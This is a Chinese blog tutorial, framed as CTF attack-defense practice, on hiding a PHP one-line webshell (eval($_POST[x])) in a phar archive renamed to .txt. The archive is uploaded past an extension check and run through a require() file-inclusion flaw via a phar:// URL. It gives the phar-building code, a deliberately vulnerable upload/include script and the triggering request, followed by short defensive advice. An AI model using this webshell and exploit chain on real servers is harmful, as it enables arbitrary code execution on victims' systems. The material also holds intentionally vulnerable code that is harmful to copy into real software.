ctf攻防,如何利用phar文件构建php一句话木马?
发布于 作者:苏南大叔 来源:程序如此灵动~综合前述phar
的各种信息,在本文的内容中,苏南大叔将结合一个较为常见的php
经典require
任何包含文件漏洞,构建一个基于phar
的一句话木马。这里,大家看看下面的php
源码中,为什么上传文件的文件都不是.php
文件,也不是.phar
文件,却被安装执行了木马漏洞呢?
本文测试环境:mac
/php@7.1.7
。
漏洞简述
本文中php
的漏洞点在于:主要基于require
语句中的文件参数,可以由外部控制。然后我们通过文件上传,上传了一个由phar
文件伪装的普通文本文件,再控制参数require
到这个伪装的普通文本。并利用phar
的虚拟文件方式,最终执行了我们的一句话木马。
$file = $_REQUEST['file'];
if ($file != '') {
require($file);
}
上述代码,是最主要的漏洞点。
构建一个特殊的txt
文本
当然,这里的txt
文本,也可以是jpg
,gif
等任何正常的可以上传的文件类型。我们通过上一篇的文章中的方法,构建一个包含在phar
文件中的特殊虚拟文件shell
,并把phar
文件改名为txt
文件。
$p = new Phar("phar.phar");
$p->compressFiles(Phar::GZ);
$p->startBuffering();
$p['file1.txt'] = 'file1';
$p['shell'] = 'shell:<br/><?php phpinfo(); eval($_POST[x]); ?>';
$p->setStub("<?php
Phar::mapPhar('p.phar');
__HALT_COMPILER();");
$p->stopBuffering();
unset($p);
@rename("my.phar","my.phar.txt");
上传txt
逻辑
对于上传代码逻辑来说,这样一个txt
文本是没法拒绝的。上传成功的概率几乎是100%。
<?php
if(isset($_POST['submit'])){
$upload_name = $_FILES['file']['name'];
$tempfile = $_FILES['file']['tmp_name'];
$upload_ext = trim(get_extension($upload_name));
$savefile = RandomString() . '.txt';
if ($upload_ext == 'txt') {
if(move_uploaded_file($tempfile,$savefile)) {
//die('Success upload. FileName: '.$savefile);
die("http://php/demo/upload.php?file=phar://".$savefile."/shell");
}
else {
die('Upload failed..');
}
}
else {
die('You are not a txt file..');
}
}
function get_extension($file){
return strtolower(substr($file, strrpos($file, '.')+1));
}
function RandomString()
{
$characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$randstring = "";
for ($i = 0; $i < 16; $i++) {
$randstring .= $characters[rand(0, strlen($characters)-1)];
}
return $randstring;
}
$file = $_REQUEST['file'];
if ($file != '') {
require($file);
// $inc = sprintf("%s.php", $file);
// include($inc);
}
?>
<html>
<body>
<form method="post" action="#" enctype="multipart/form-data">
<input type="file" name="file" value=""/>
<input type="submit" name="submit" value="upload"/>
</form>
</body>
</html>
构造特殊参数执行一句话木马
因为参数$file
是本文的漏洞所在,所以一个特殊的$file
取值,是本文成功的另外一个关键所在。/upload.php?file=phar://uploaded.txt/shell
这句话实际执行的是:
require("phar://uploaded.txt/shell");
通过以前的学习,可以知道:上述语句,可以require
到uploaded.txt
这个phar
文件中的虚拟文件shell
。而eval
则是这个木马执行的另外一个关键所在。当然了,这里仅仅是个演示罢了。结合postman
就可以执行任意php
语句了。剩下的事情,苏南大叔就不讲述了,带坏小朋友是不好的。
相关链接
结论
在本文中的,此类一句话木马的防范方法,也是非常简单的。比如:
- 绝对不能相信用户输入的参数,一定要对用户输入的数据进行检测。
- 绝对不能
require
(或者说include
)用户能控制的文件。 - 在
php.ini
中一定要禁用一些危险的php
函数,比如eval
。我们可以在php.ini
中,设置disable_functions
及disable_classes
。但是eval
是特殊的禁用方式。
关于php
的安全问题,也是作为一名合格的phper
所必备的基本功之一。关于php
的安全问题,在苏南大叔以后的文章中,也会有所提及。
更多有关网络安全问题,可以点击这里查看:
本博客不欢迎:各种镜像采集行为。请尊重原创文章内容,转载请保留作者链接。